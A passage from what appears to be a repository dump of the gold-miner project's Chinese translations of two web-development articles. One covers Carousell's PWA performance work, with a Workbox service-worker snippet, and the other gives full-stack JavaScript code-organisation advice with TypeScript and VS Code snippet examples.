    "content": "> * 原文地址：[How we made Carousell’s mobile web experience 3x faster](https://medium.com/carousell-insider/how-we-made-carousells-mobile-web-experience-3x-faster-bbb3be93e006)\n> * 原文作者：[Stacey Tay](https://medium.com/@staceytay?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-we-made-carousells-mobile-web-experience-3x-faster.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-we-made-carousells-mobile-web-experience-3x-faster.md)\n> * 译者：[Noah Gao](https://noahgao.net)\n> * 校对者：[kyrieliu](https://kyrieliu.cn), [Moonliujk](https://github.com/Moonliujk)\n\n# 我们是怎样把 Carousell 的移动端 Web 体验搞快了 3 倍的？\n\n## 回顾一下我们构建 Progressive Web App 的 6 个月\n\n[Carousell](https://careers.carousell.com/about/) 是一个在新加坡开发的移动分类广告市场，并在包括印度尼西亚、马来西亚和菲律宾在内的许多东南亚国家开展业务。我们在今年年初为一批用户推出了我们移动 Web 端的[渐进式网页应用（PWA）](https://developers.google.com/web/progressive-web-apps/)] 版本。\n\n在本文中，我们将分享 (1) 我们想要建立更快的 Web 端体验的动机，(2) 我们怎么完成它，(3) 它对我们用户的影响，以及 (4) 是什么帮助了我们快速完成。\n\n![](https://cdn-images-1.medium.com/max/1000/1*q1lHcvKCppZvyd4OIFr3Rw.png)\n\n🖼 这个 PWA 在 [https://mobile.carousell.com](https://mobile.carousell.com) 🔎\n\n#### 为什么一定要有更快的 Web 体验？\n\n我们的应用是为新加坡市场开发的，我们已经习惯于用户拥有高于平均水平的手机和高速的互联网。然而，随着我们扩展到整个东南亚地区的更多国家，如印度尼西亚和菲律宾，我们面临着提供同样令人愉快和快速的网络体验的挑战。原因是，在这些地方，[较一般的终端设备](https://building.calibreapp.com/beyond-the-bubble-real-world-performance-9c991dcd5342) 和 [互联网速度](https://en.wikipedia.org/wiki/List_of_countries_by_Internet_connection_speeds) 与我们的应用设计标准相比，往往速度慢并且不太可靠。\n\n我们开始阅读更多有关性能的内容，并开始使用 [Lighthouse](https://developers.google.com/web/tools/lighthouse/) 重新审视我们的应用，我们意识到 [如果我们想要在这些新的市场中成长](https://en.wikipedia.org/wiki/List_of_countries_by_Internet_connection_speeds)，[我们需要更快的 Web 体验](https://developers.google.com/web/fundamentals/performance/why-performance-matters/)。 **如果我们想要获取或是留住我们的用户，那么一个网页在 3G 网络下（跟我们一样）需要加载超过 15 秒就是不能接受的了。**\n\n![](https://cdn-images-1.medium.com/max/800/1*1AUcHKLx6hNwnbTKsV9O3w.png)\n\n🌩 Lighthouse 的性能表现得分会是一个很好的叫醒服务～ 🏠\n\nWeb 端通常是我们的新用户发现和了解 Carousell 的入口。**我们想从一开始就给他们一个愉快的体验，因为 [性能就是用户体验](http://designingforperformance.com/performance-is-ux/)。**\n\n为此，我们设计完成了一种全新的，性能优先的 Web 端体验。当我们决定首先使用哪些页面做尝试时，我们选择了产品列表页面和主页，因为 Google Analytics 的统计表明这些页面的自然流量最大。\n\n* * *\n\n### 我们怎么做到的\n\n#### 从现实世界中的性能预算开始\n\n我们做的第一件事就是起草性能预算，以避免犯下未经检查的臃肿问题（我们之前的 Web 应用中的一个问题）。\n\n> 性能预算让每个人都在同一个“页面”上。它们有助于创造一种共享热情的文化，以改善用户体验。具有预算的团队还可以更轻松地跟踪和绘制进度。这有助于支持那些拥有有意义的指标的执行发起人，指明正在进行的投入的合理性。\n\n> — [你能负担得起吗？：现实世界中的网络性能预算](https://infrequently.org/2017/10/can-you-afford-it-real-world-web-performance-budgets/).\n\n由于 [在加载过程中存在多个时刻，都会影响到用户对这个页面是否“足够快”的感知](https://developers.google.com/web/fundamentals/performance/user-centric-performance-metrics)，我们将预算基于一套组合的指标。\n\n> 加载网页就像一个有三个关键时刻的电影胶片。三个时刻分别是：它发生了吗？它有用吗？然后，它能用起来吗？\n\n> — [2018 年里 JavaScript 的花费](https://medium.com/@addyosmani/the-cost-of-javascript-in-2018-7d8950fbb5d4)\n\n我们决定为关键路径的资源设置 120 KB 的上限，在所有页面上还有一个 2 秒的 [**首屏内容渲染**](https://developers.google.com/web/fundamentals/performance/user-centric-performance-metrics#first_paint_and_first_contentful_paint) 和 5 秒的 [**可交互时间**](https://developers.google.com/web/fundamentals/performance/user-centric-performance-metrics#time_to_interactive) 限制。这些数字和指标都是基于 Alex Russell 的一篇发人深省的文章 [真实世界的 Web 性能预算](https://infrequently.org/2017/10/can-you-afford-it-real-world-web-performance-budgets/) 以及 Google [以用户为中心的性能指标]。\n\n```\n关键路径资源          120KB\n首屏内容渲染          2s\n可交互时间            5s\nLighthouse 性能得分  > 85\n```\n\n🔼 我们的性能预算 🌟\n\n为了能把性能预算坚持下去，我们在一开始选择库时就十分慎重，包括 react、react-router、redux、redux-saga 和 [unfetch](https://github.com/developit/unfetch)。\n\n我们还整合了 [bundlesize](https://github.com/siddharthkp/bundlesize) 到我们的 PR 流程当中，用来执行我们在关键路径资源上的性能预算方案。\n\n![](https://cdn-images-1.medium.com/max/800/1*PKGjihs6JorbhLbygpTNjA.png)\n\n⚠️ bundlesize 阻止了一个超出预算的 PR 🚫\n\n理想情况下，我们也会自动检查 **首屏渲染时间** 和 **可交互时间** 指标。但是，我们目前还没有这样做，因为我们想先发布初始页面。我们认为我们可以通过我们的小团队规模来避免这种情况，每周通过我们的 Lighthouse 审核我们的发布，以确保我们的变更在预算范围内。\n\n在我们积压的工作中，下一步就是自建性能监控框架。\n\n### 我们如何让它（看起来）变快了\n\n1.  **我们采用了一部分** [**PRPL 模式**](https://developers.google.com/web/fundamentals/performance/prpl-pattern/)**。**我们为每个页面请求发送最少量的资源（使用 [基于路由的代码拆分](https://github.com/jamiebuilds/react-loadable)），并 [使用 Workbox 预先缓存应用程序包的其余部分](https://developers.google.com/web/tools/workbox/modules/workbox-precaching)。我们还拆分了不必要的组件。例如，如果用户已登录，则应用程序将不会加载登录和注册组件。目前，我们仍然在几个方面偏离了 PRPL 模式。首先，由于我们没有时间重新设计的旧页面，该应用程序有多个应用程序外壳。其次，我们还没有探索为不同的浏览器生成单独的构建打包。\n\n2.  **内联的 [关键的 CSS](https://developers.google.com/speed/docs/insights/OptimizeCSSDelivery)。** 我们使用 [webpack 的 mini-css-extract-plugin](https://github.com/webpack-contrib/mini-css-extract-plugin) 来提取并内联的方式引入对应页面的关键 CSS，以优化首屏渲染时间。这样就给用户提供了 [**一些事情** 正在发生](https://developers.google.com/web/fundamentals/performance/user-centric-performance-metrics#user-centric_performance_metrics) 的感觉。\n\n3.  **懒加载视口外的图像。** 并且逐步加载它们。我们创建了一个滚动观察组件，其基于 [react-lazyload](https://github.com/jasonslyvia/react-lazyload)，它会监听 [滚动事件](https://developer.mozilla.org/en-US/docs/Web/Events/scroll)，一旦计算出图像在视口内，就开始加载图像。\n\n4.  **压缩所有的图像来减少在网络中传输的数据量。** 这将在我们的 CDN 提供商的 [自动化图像压缩](https://blog.cloudflare.com/introducing-polish-automatic-image-optimizati/) 服务中进行。如果你不使用 CDN，或者只是对图像的性能问题感到好奇，Addy Osmani 有一个 [关于如何自动进行图像优化的指南](https://images.guide)。\n\n5.  **使用 Service Worker 来缓存网络请求。**这减少了数据不会经常变化的 API 的数据使用量，并改善了应用程序后续的访问加载时间。我们找到了 [The Offline Cookbook](https://developers.google.com/web/fundamentals/instant-and-offline/offline-cookbook/) 来帮助我们决定采用哪种缓存策略。直到我们有了多了应用外壳，Workbox 默认的 [`registerNavigationRoute`](https://developers.google.com/web/tools/workbox/modules/workbox-routing#how_to_register_a_navigation_route) 并不适用于我们的实际场景，所以我们不得补自行完成一个 handler 来匹配当前应用外壳的导航请求。\n\n```\nworkbox.navigationPreload.enable();\n\n// From https://hacks.mozilla.org/2016/10/offline-strategies-come-to-the-service-worker-cookbook/.\nfunction fetchWithTimeout(request, timeoutSeconds) {\n  return new Promise((resolve, reject) => {\n    const timeoutID = setTimeout(reject, timeoutSeconds * 1000);\n    fetch(request).then(response => {\n      clearTimeout(timeoutID);\n      resolve(response);\n    }, reject);\n  });\n}\n\nconst networkTimeoutSeconds = 3;\nconst routes = [\n  { name: \"collection\", path: \"/categories/.*/?$\" },\n  { name: \"home\", path: \"/$\" },\n  { name: \"listing\", path: \"/p/.*\\\\d+/?$\" },\n  { name: \"listingComments\", path: \"/p/.*\\\\d+/comments/?$\" },\n  { name: \"listingPhotos\", path: \"/p/.*\\\\d+/photos/?$\" },\n];\n\nfor (const route of routes) {\n  workbox.routing.registerRoute(\n    new workbox.routing.NavigationRoute(\n      ({ event }) => {\n        return caches.open(\"app-shells\").then(cache => {\n          return cache.match(route.name).then(response => {\n            return (response\n              ? fetchWithTimeout(event.request, networkTimeoutSeconds)\n              : fetch(event.request)\n            )\n              .then(networkResponse => {\n                cache.put(route.name, networkResponse.clone());\n                return networkResponse;\n              })\n              .catch(error => {\n                return response;\n              });\n          });\n        });\n      },\n      {\n        whitelist: [new RegExp(route.path)],\n      },\n    ),\n  );\n}\n```\n\n⚙️ 我们对所有的应用外壳采用了一个超时时间为 3 秒的网络优先策略 🐚\n\n在这些变化中，我们严重依赖 Chrome 的“中端移动设备”模拟功能（即网络限制为 3G 速度），并创建了多个 Lighthouse 审计来评估我们工作的影响。\n\n### 结果：我们怎么做到的\n\n![](https://cdn-images-1.medium.com/max/1000/1*uTOxbHdmHLG6UsVaAj4Dig.jpeg)\n\n🎉 比较之前和之后的移动 Web 指标 🎉\n\n我们新的 PWA 列表页面的加载速度比我们旧的列表页面 **快 3 倍**。在发布这一新页面之后，我们的印度尼西亚的自然流量与我们所有长时间的周相比，增长了 63％。在 3 周的时间内，我们还看到，广告点击率 **增加了 3 倍**，在列表页面上发起聊天的匿名用户 **增加了 46％**。\n\n![](https://cdn-images-1.medium.com/max/800/1*6ql8gjD3IKSITGfyQZCZuA.gif)\n\n⏮ [在较快的 3G 网络下的 Nexus 5 上，我们列表页面的前后对比](https://www.webpagetest.org/video/compare.php?tests=171020_B8_97732ed88ebc522d6a042f0ad502ccd4,181009_HJ_07aee97a8bbe626fee8b11a3c5661980)。更新：[WebPageTest 对这个页面的简单报告](https://www.webpagetest.org/result/181031_XQ_e4603b6421fc22743c5790f34abcc4e2/)。 ⏭\n\n* * *\n\n### 快速，自信地迭代\n\n#### 一致的 Carousell 设计系统\n\n在我们开展这项工作的同时，我们的设计团队也在同时创建标准化设计系统。由于我们的 PWA 是一个新项目，我们有机会根据设计系统创建一组标准化的 UI 组件和 CSS 常量。\n\n拥有一致的设计使我们能够快速迭代。每个 UI 组件**我们只构建一次，然后在多个地方复用它**。例如，我们有一个 `ListingCardList` 组件，它显示列表卡片的提要并触发回调，以便在滚动到结尾时提示其父组件加载更多列表。我们在主页，列表页面，搜索页面和个人信息页面中使用了它。\n\n我们还与设计师合作，一起确定应用程序设计中的适当性能权衡。这使我们能够维持我们的性能预算，改变一些旧设计以符合新设计，并且，如果它们太昂贵了的话，就放弃花哨的动画。\n\n#### 与 Flow 同行\n\n我们选择将 [Flow](https://flow.org) 类型定义作为我们所有文件的必选项，因为我们想减少烦人的空值或类型问题（我也是渐进类型的忠实粉丝，但为什么我们选择了 Flow 而不是 [TypeScript](https://www.typescriptlang.org) 就是下一次的一个话题了）。\n\n在我们开发和创建了更多代码时，采用了 Flow 的选择被证明非常有用。它让我们有信心添加或更改代码，将核心代码重构得更加简单和安全。这使我们能够快速迭代而不会破坏事物。\n\n此外，Flow 类型也对我们的 API 约定和共享库组件的文档非常有用。\n\n对于强制将 Redux 操作和 React 组件的类型写出来这件事情，还有一个额外的好处，就是它会帮助我们仔细思考如何设计我们的 API。它也提供了与团队开始早期的 PR 讨论的简单途径。\n\n* * *\n\n### 小结\n\n我们创建了一个轻量级的 PWA 来为我们具有不可靠网速的用户提供服务，一个页面接一个页面地发布，提高了我们的商业指标**和**用户体验。\n\n#### 是什么帮助我们保持足够快的速度\n\n*   拥有并坚持一份性能预算\n*   降低关键渲染路径到最小\n*   经常使用 Lighthouse 进行审计\n\n#### 是什么帮助我们快速迭代\n\n*   拥有标准化的设计系统及其相应的 UI 组件库\n*   拥有完全类型化的代码库\n\n### 结束思考\n\n回顾过去两个季度我们所做的事情，我们为我们新的移动 Web 业务体验感到无比自豪，我们正在努力使其变得更好。这是我们第一个专注于速度的平台，也更多的思考了一个页面的加载过程。我们的 PWA 对业务和用户指标的改进有助于说服公司内部更多人去了解应用程序性能和加载时间的重要性。\n\n我们希望本文能够启发您在设计和构建 Web 体验时考虑性能。\n\n**在此为参与这个项目的人欢呼：Trong Nhan Bui、Hui Yi Chia、Diona Lin、Yi Jun Tao 和 Marvin Chin。当然也要感谢 Google，特别是要感谢 Swetha and Minh 对这个项目的建议。**\n\n**感谢 Bui、[Danielle Joy](https://medium.com/@xdaniejoyy)、[Hui Yi](https://medium.com/@c_huiyi)、[Jingwen Chen](https://medium.com/@jin_)、[See Yishu](https://medium.com/@yishu) 和 [Yao Hui Chua](https://medium.com/@yaohuichua) 的写作和校对。**\n\n最后，多亏了 [Hui Yi](https://medium.com/@c_huiyi?source=post_page)、[Yao Hui Chua](https://medium.com/@yaohuichua?source=post_page)、[Danielle Joy](https://medium.com/@xdaniejoyy?source=post_page)、[Jingwen Chen](https://medium.com/@jin_?source=post_page) 和 [See Yishu](https://medium.com/@yishu?source=post_page)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-writing-simple-javascript-got-us-6200-github-stars-in-a-single-day.md",
    "content": "> * 原文地址：[How We Write Full Stack JavaScript Apps](https://medium.com/@eliezer/how-writing-simple-javascript-got-us-6200-github-stars-in-a-single-day-420b17b4cff4)\n> * 原文作者：[Elie Steinbock](https://medium.com/@eliezer)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-writing-simple-javascript-got-us-6200-github-stars-in-a-single-day.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-writing-simple-javascript-got-us-6200-github-stars-in-a-single-day.md)\n> * 译者：[cyz980908](https://github.com/cyz980908)\n> * 校对者：[Moonliujk](https://github.com/Moonliujk)，[sin7777](https://github.com/sin7777)\n\n# 如何编写全栈 JavaScript 应用\n\n我们的 GitHub 仓库最近在 GitHub 上获得了 10,000 颗星。它在 HackerNews、GitHub Trending 上排名第一，并在 Reddit 上获得了 2 万个赞。\n\n这篇文章是我这一段时间以来一直想写的，随着我们的仓库快速上升，我认为现在是写它的最佳时间。\n\n![No. 1 Trending on GitHub](https://cdn-images-1.medium.com/max/5760/1*Sx7fPiSnvJFFnK7bwJ1B_w.png)\n\n我是[自由职业者](https://elie.tech)团队的一员，我们使用 React/React Native、Node.js、GraphQL 等典型项目。这篇文章既是写给那些有兴趣了解我们如何构建完整的全栈应用程序的人，也是那些将来打算加入我们的人的入职工具。\n\n以下是我们的核心原则。\n\n## 保持简单易读\n\n说起来容易做起来难。大多数开发人员都明白简单易读是一个重要的原则，但是这并不那么容易就做到的。简单易读的代码使维护更容易，还使所有团队成员更容易做出贡献。它还将帮助您在日后管理自己的代码。\n\n我看到的一些错误：\n\n* 过于聪明。复制粘贴代码有时是挺好的。您不需要抽象每两段看起来有些相似的代码。我自己就犯过这个错误。人人都这样。DRY（Don't Repeat Yourself）是一个很好的原则，但是选择错误的抽象可能会很糟糕，并使代码库复杂化。如果您想了解更多相关内容，我推荐：[AHA Programming](https://kentcdodds.com/blog/aha-programming).\n* 拒绝使用现成的工具。比如放着 `map` 和 `filter` 不用，反而去用 `reduce`。当然您**可以**用 `map` 和 `reduce`，但它可能会有更多的代码行数，而且其他人也更难理解。\n当然，简单易读是主观的。您将看到经验丰富的开发人员在他们不需要使用 `reduce` 的地方使用 `reduce`。\n有时您需要使用 `reduce`，如果您曾经束缚于 `map` 和 `filter`，`reduce` 可能会有更好的表现，因为您只需要将集合传递一次而不是两次。这是一个性能与简单易懂性的抉择。总的来说，我倾向于简单易读，避免过早的优化。如果使用两层的 `map`/`filter` 成为了您的瓶颈，您可以将代码切换为使用 `reduce`。\n\n下面的许多原则也旨在使代码库尽可能简单易读。\n\n## 物以类聚（主机托管）\n\n这一原则适用于应用程序的许多部分。客户端和服务器文件夹结构，以及在每个文件中的代码，保持在相同的仓库。\n\n#### 仓库\n\n将客户端和服务器文件夹保存在同一个 Monorepo 中。（译者注：Monorepo 是用一个仓库来管理所有的源代码，Multirepo 是用多个仓库来管理自己的源代码）这很简单。别把事情复杂化。人人都是用这种方式同步的。在使用 Multirepo 的项目中工作，也并不是世界末日，但是使用 Monorepo 会让生活变得更简单。您不会意外地拥有不同步的客户端和服务器。\n\n#### 客户端结构\n\n一个常见的客户端文件夹结构是按文件类型分组。该结构使用不同的文件夹：components，containers，actions，reducers 和 routes（actions 和 reducers 是使用 redux 才有的，而我会尽量避免用它）。components 文件夹将包含 `BlogPost` 和 `Profile` 之类的内容，而 containers 文件夹将包含 `BlogPostContainer` 和 `ProfileContainer` 文件。容器将从服务器获取数据并将其传递给 Dumb 子组件，Dumb 子组件的工作是将数据呈现到屏幕上。（译者注：React 中可以将组件分为 Smart 和 Dumb 两类，方便组件复用）\n\n这个结构是可行的。至少它是一致的，这是很重要的，一个新加入代码库的人会明白发生了什么，在哪发生的。但这种结构的缺点，也是我个人现在避免使用它的原因是，您必须经常跳转代码库。比如，`ProfileContainer` 和 `BlogPostContainer` 它们之间没有任何关系，但是文件就在彼此的旁边，并且远离它们实际要使用的地方。\n\n我更喜欢将要一起使用的文件分为一组 —— 一种基于功能的方法。将 Smart 父组件和 Dumb 子组件放在同一个文件夹中。这会让您的生活更容易。\n\n我们通常使用 `routes` / `screens` 文件夹和 `components` 文件夹。组件将包含可以在应用程序的任何页面上使用的 `Button` 或 `Input` 等内容。route 文件夹中的每个文件夹代表着应用程序的不同页面，与该路由相关的所有组件和业务逻辑都放在该文件夹中。在多个屏幕上使用的组件放在 `components` 文件夹中。\n\n在每个 route 文件夹中，您可以在其中创建更多文件夹，对页面的某些部分进行分组。所以如果 route 文件夹中包含了很多内容，这是可以理解的。但是我要警告的一件事是，不要嵌得太深。这将使我们这个项目在这个项目中更难地跳转。这是不必要的事情过于复杂的另一个迹象（顺便说一句，使用 command-p 和搜索也是在项目找到所需内容的好方法，但文件结构会有所影响）。\n\n类似的方法是按功能分组，而不是按路由分组。在一个使用 Mobx State Tree 并且包含许多特性的单页面的项目中，这种方法对我非常有效。按常规方法分组很简单，而且不需要花费太多脑力来找出应该分组的内容和在哪里找到项目。按功能分组的一个麻烦之处在于决定它属于哪里。功能的边界可能很模糊。\n\n更进一步，您甚至可能喜欢将容器和组件放在同一个文件中。或者更进一步，把两部分合为一。我知道您在想什么。“这家伙在说些什么？这是亵渎。”实际上，它并不像听起来那么糟糕，实际上非常好，如果您正在使用 React Hook 和/或生成的代码，我推荐使用这种方法。\n\n真正的问题是，为什么要将组件分成 Smart 和 Dumb 组件？对此有几个答案：\n\n1. 易于测试\n2. 易于工具的使用，如 Storybook\n3. 可以使用相同的 Dumb 组件 与多个不同的 Smart 组件（反之亦然）。\n4. 可以跨平台共享 Smart 组件（例如 React 和 React Native）。\n\n这些都是正当的理由，但往往无关紧要。在我们的代码库中，我们经常使用带有 hook 的 [Apollo Client](https://www.apollographql.com/)。它用来进行测试，您可以模拟 Apollo 响应，也可以模拟 hook。Storybook 也是如此。至于混合和匹配 Smart 和 Dumb 组件，我从未在实践中看到过这种情况。至于跨平台使用，有一个项目我打算这么做，但最终没有实践。那个项目应该是 [Lerna](https://lerna.js.org/) 管理的一个 Monorepo。今天，无论如何您都很可能选择 React Native Web 而不是这种方法。\n\n因此，区分 Smart 组件和 Dumb 组件是有正当理由的。这是一个需要注意的重要概念，但通常不需要像您想象的那样担心，特别是最近 React 添加了 hook 新特性。\n\n在同一个组件中组合 Smart 组件和 Dumb 组件的好处是，它加快了开发时间，而且更简单。\n\n此外，如果将来有需要，您也是可以将组件分成两个单独的组件的。\n\n**样式**\n\n我们使用 [emotion](https://emotion.sh)/[styled components](https://www.styled-components.com/) 进行样式管理。人们倾向于将样式拆分为单独的文件。我见过有人这样做，但在尝试了这两种方法之后，我认为没有任何理由将样式放在不同的文件中。与这里列出的其他所有内容一样，如果您将样式与它们所关联的组件放在同一个文件中，那么您的生活会更容易。\n\n[React 官方文档](https://reactjs.org/docs/faq-structure.html)中包含了一些关于结构的简明说明，我也推荐大家通读一遍。其中最大的收获：\n\n> 一般来说，将经常更改的文件放在一起是一个好主意。这一原则被称为“托管”。\n\n#### 服务器结构\n\n服务器也是如此。我个人避免使用的典型结构是[这样的](https://dev.to/santypk4/bulletproof-node-js-project-architecture-4epf)：\n\n> src\n>  │ app.js # App 入口点\n>  └───api # 表示 app 的所有后端路由控制器 \n>  └───config # 环境变量和配置相关的东西\n>  └───jobs # agenda.js 的作业定义\n>  └───loaders # 将启动过程分成模块\n>  └───models # 数据库模型\n>  └───services # 所有的业务逻辑都在这里\n>  └───subscribers # 异步任务的事件处理程序\n>  └───types # Typescript 的类型声明文件（d.ts） \n\n我们通常在我们的项目中使用 GraphQL。有模型、服务和解析器文件。与其把这三个文件分散在应用程序中，不如把它们都放在同一个文件夹中。绝大多数情况下，它们会一起使用，如果它们放在一起，您会更容易找到它们。\n\n在这里看一个示例服务器结构：[**elie222/bike-sharing**](https://github.com/elie222/bike-sharing)\n\n## 不重写类型\n\n我们在项目中使用了很多类型系统：TypeScript，GraphQL，数据库模式，有时候还有 Mobx State Tree。\n\n您可能会写同样的类型 3 或 4 次。避免这种情况。使用自动生成类型的工具。\n\n在服务器上，您可以使用 TypeORM/Typegoose 和 TypeGraphQL 的组合来覆盖所有类型。TypeORM/Typegoose 将定义数据库模式 以及它们的 TypeScript 类型。TypeGraphQL 将生成 GraphQL 类型和 TypeScript 类型。\n\n在一个文件中定义 TypeORM（MongoDB）和 TypeGraphQL 类型的一个例子:\n\n```TypeScript\nimport { Field, ObjectType, ID } from 'type-graphql'\nimport {\n  Entity,\n  ObjectIdColumn,\n  ObjectID,\n  Column,\n  CreateDateColumn,\n  UpdateDateColumn,\n} from 'typeorm'\n\n@ObjectType()\n@Entity()\nexport default class Policy {\n  @Field(type => ID)\n  @ObjectIdColumn()\n  _id: ObjectID\n\n  @Field()\n  @CreateDateColumn({ type: 'timestamp' })\n  createdAt: Date\n\n  @Field({ nullable: true })\n  @UpdateDateColumn({ type: 'timestamp', nullable: true })\n  updatedAt?: Date\n\n  @Field()\n  @Column()\n  name: string\n\n  @Field()\n  @Column()\n  version: number\n}\n```\n\n[GraphQL Code Generator](https://graphql-code-generator.com/) 能够生成许多不同类型。我们使用它在客户端上生成 TypeScript 类型，并使用 React Hook 调用服务器。\n\n如果您使用 Mobx State Tree，可以通过添加 2 行代码自动从中获取 TypeScript 类型，如果将它与 GraphQL 一起使用，则会有一个名为 [MST-GQL](https://github.com/mobxjs/mst-gql) 的新包，它将从 GQL 模式中生成状态树。\n\n将这些包一起使用将节省您重写大量代码并帮助您避免潜在的 bug。\n\n其他解决方案 [Prisma](https://www.prisma.io/)，[Hasura](https://hasura.io/) 和 [AWS AppSync](https://aws.amazon.com/appsync/) 也可以帮助避免类型复制。使用这些工具有利有弊。对于我们所做的项目，这些也不总是一个选项，因为我们需要将代码部署到提前预置好的服务器上。\n\n## 尽可能地生成代码\n\n除了使用上面的代码生成工具，您还会发现自己一次又一次地编写相同的代码。我在这里可以给您的第一个技巧是为您经常使用的所有东西添加 snippet。如果您写了大量的 `console.log`，确保您有一个 `cl` snippet 将 `cl` 展开为 `console.log()`。如果您不这样做，还请我帮忙调试您的代码，我会生气的。\n\n尽管有很多 snippet 的包，但是您也可以很容易地在这里生成您自己的：[**snippet generator**](https://snippet-generator.app/)\n\n一些我喜欢的 snippet：\n\n* `cl` — console.log\n* React component/hooks snippets\n* `imes` — import emotion/styled\n* `sc` — emotion/styled component\n* `fn` — 打印当前所在文件的文件名。\n\n如果您想手动将它们添加到 VS Code 中，下面是代码：\n\n```JSON\n{\n  \"Export default\": {\n    \"scope\": \"javascript,typescript,javascriptreact,typescriptreact\",\n    \"prefix\": \"eid\",\n    \"body\": [\n      \"export { default } from './${TM_DIRECTORY/.*[\\\\/](.*)$$/$1/}'\",\n      \"$2\"\n    ],\n    \"description\": \"Import and export default in a single line\"\n  },\n  \"Filename\": {\n    \"prefix\": \"fn\",\n    \"body\": [\"${TM_FILENAME_BASE}\"],\n    \"description\": \"Print filename\"\n  },\n\n  \"Import emotion styled\": {\n    \"prefix\": \"imes\",\n    \"body\": [\"import styled from '@emotion/styled'\"],\n    \"description\": \"Import Emotion js as styled\"\n  },\n  \"Import emotion css only\": {\n    \"prefix\": \"imec\",\n    \"body\": [\"import { css } from '@emotion/styled'\"],\n    \"description\": \"Import Emotion css only\"\n  },\n  \"Import emotion styled and css only\": {\n    \"prefix\": \"imesc\",\n    \"body\": [\"import styled, { css } from ''@emotion/styled'\"],\n    \"description\": \"Import Emotion js and css\"\n  },\n  \"Styled component\": {\n    \"prefix\": \"sc\",\n    \"body\": [\"const ${1} = styled.${2}`\", \"  ${3}\", \"`\"],\n    \"description\": \"Import Emotion js and css\"\n  },\n\n  \"TypeScript React Function Component\": {\n    \"prefix\": \"rfc\",\n    \"body\": [\n      \"import React from 'react'\",\n      \"\",\n      \"interface ${1:ComponentName}Props {\",\n      \"}\",\n      \"\",\n      \"const ${1:ComponentName}: React.FC<${1:ComponentName}Props> = props => {\",\n      \"  return (\",\n      \"    <div>\",\n      \"      ${1:ComponentName}\",\n      \"    </div>\",\n      \"  )\",\n      \"}\",\n      \"\",\n      \"export default ${1:ComponentName}\",\n      \"\"\n    ],\n    \"description\": \"TypeScript React Function Component\"\n  },\n  \n  \"console.log\": {\n    \"prefix\": \"clg\",\n    \"body\": [\n      \"console.log('$1', $1)\"\n    ],\n    \"description\": \"console.log\"\n  },\n  \"console.log JSON\": {\n    \"prefix\": \"clgj\",\n    \"body\": [\n      \"console.log('$1', JSON.stringify($1, null, 2))\"\n    ],\n    \"description\": \"console.log JSON\"\n  }\n}\n```\n\n除了 snippet，编写代码生成器也可以节省大量时间。我喜欢使用 [plop](https://plopjs.com/)。\n\nAngular 有自己的生成器，可以通过命令行创建一个新的组件，每个 Angular 组件都有 4 个文件。很遗憾 React 没有这样开箱即用的功能，但是您可以使用 `plop` 自己创建它。如果您创建的每个新组件都应该是一个包含组件、测试和 Storybook 文件的文件夹，那么生成器可以在一行中为您创建。在很多情况下，这会让我们的生活变得轻松。例如，在服务器上添加新特性是命令行中的一行，它创建一个实体、服务和解析器文件，所有核心部分都自动填写。\n\n生成器的另一个好处是它推动您的团队以一致的方式工作。如果每个人都使用相同的 plop 生成器，代码将具有非常一致的感觉。\n\n看一下在这个项目中我们使用的生成器的例子：[**elie222/bike-sharing**](https://github.com/elie222/bike-sharing)\n\n## 自动格式化代码\n\n这很简单，但不幸的是并不总是这样。不要浪费时间在缩进代码和添加或删除分号上。在每次提交时，使用 Prettier 自动格式化代码：[**azz/pretty-quick**](https://github.com/azz/pretty-quick)\n\n---\n\n## 总结\n\n我们讨论了多年来我们从尝试不同方法中学到的一些技巧。有很多方法可以构造代码库，但是没有一种方法是绝对“正确的”。\n\n核心思想是保持事物的简单、一致、结构化和易于遍历。这将方便许多人参与到项目中工作，而且马上就有种在读自己代码的感觉。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-you-can-use-simple-trigonometry-to-create-better-loaders.md",
